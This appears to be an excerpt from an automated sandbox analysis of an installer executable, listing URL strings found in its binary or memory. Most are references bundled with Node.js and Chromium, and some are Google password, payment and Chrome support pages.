Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/mozilla-central/file/tip/netwerk/base/nsURLParsers.cpp
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://hsivonen.fi/encoding-menu/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://llvm.org/svn/llvm-project/cfe/trunk/lib/Lex/HeaderMap.cpp
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ltp.sourceforge.net/coverage/lcov/geninfo.1.php
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://no-color.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_exists_path_callback)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_existssync_path)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_read_fd_buffer_offset_length_position_callback)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_write_fd_buffer_offset_length_position_callback)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_writefile_file_data_options_callback)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_writefile_file_data_options_callback).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_writefilesync_file_data_options)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_fs_writefilesync_file_data_options).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/fs.html#fs_stat_time_values)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/api/util.html#util_util_promisify_original)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/dist
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v20.18.0/node-v20.18.0-headers.tar.gz
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v20.18.0/node-v20.18.0.tar.gz
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v20.18.0/node-v20.18.0.tar.gzhttps://nodejs.org/download/release
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/download/release/v20.18.0/win-x64/node.lib
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspector
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/en/docs/inspectorFor
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.ico
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://nodejs.org/static/images/favicons/favicon.icofaviconUrldevtoolsFrontendUrldevtoolsFrontendUr
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://npm.im/$
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://openjsf.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google.com
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2464652978.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google.comGoogle
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google.comGoogle-tilisi
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://passwords.google.comcuenta
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pay.google.com/authentication
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/billing
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/billinghttps://google.com/payhttps://android.com/payhttps://pay.google.com/a
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://polymer-library.polymer-project.org
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html).
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/gyp-next)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/pyparsing
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/six/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.python.org/pypi/pyfakefs
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pypi.python.org/pypi/webapp2
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://quiche.googlesource.com/quiche
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://registry.npmjs.org/bcrypt/0.7.5
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://registry.npmjs.org/bindings/1.0.0
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semver.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sindresorhus.com)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/site/gaviotachessuser/Home/endgame-tablebases-1
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sizzlejs.com/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://skia.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://source.chromium.org/chromium/chromium/src/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://source.corp.google.com/piper///depot/google3/third_party/tamachiyomi/README.md
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sqlite.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sqlite.org/forum/forumpost/206d99a16dd9212f
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sqlite.org/forum/forumpost/51e6959f61
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sqlite.org/forum/forumpost/68d284c86b082c3e
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sqlite.org/forum/forumpost/726219164b
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://streams.spec.whatwg.org/#example-manual-write-with-backpressure
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461709634.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463431471.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2465750451.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470168099.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2464843563.0000000005948000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463544080.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473941850.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2466551233.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472419715.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462040884.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472028493.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/a/answer/9122284
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461709634.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463431471.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2465750451.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470168099.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463544080.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473941850.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2466551233.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472419715.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461642034.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462040884.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472028493.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462894354.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2464652978.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6098869
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6098869?hl=es
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://swiftshader.googlesource.com/SwiftShader
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#eqn-modulo
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-de
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots-ownpropertykeys
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.es/ecma262/#table-typeof-operator-results
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-object.prototype.tostring
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc1928#section-3
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc3492#section-3.4
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc5234#appendix-B.1
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-url
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-byte-serializer
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-parser
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#concept-urlencoded-serializer
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#dom-urlsearchparams-urlsearchparams
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#forbidden-host-code-point
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://url.spec.whatwg.org/#urlsearchparams-stringification-behavior
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://v8.dev/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/aria/#aria-hidden.
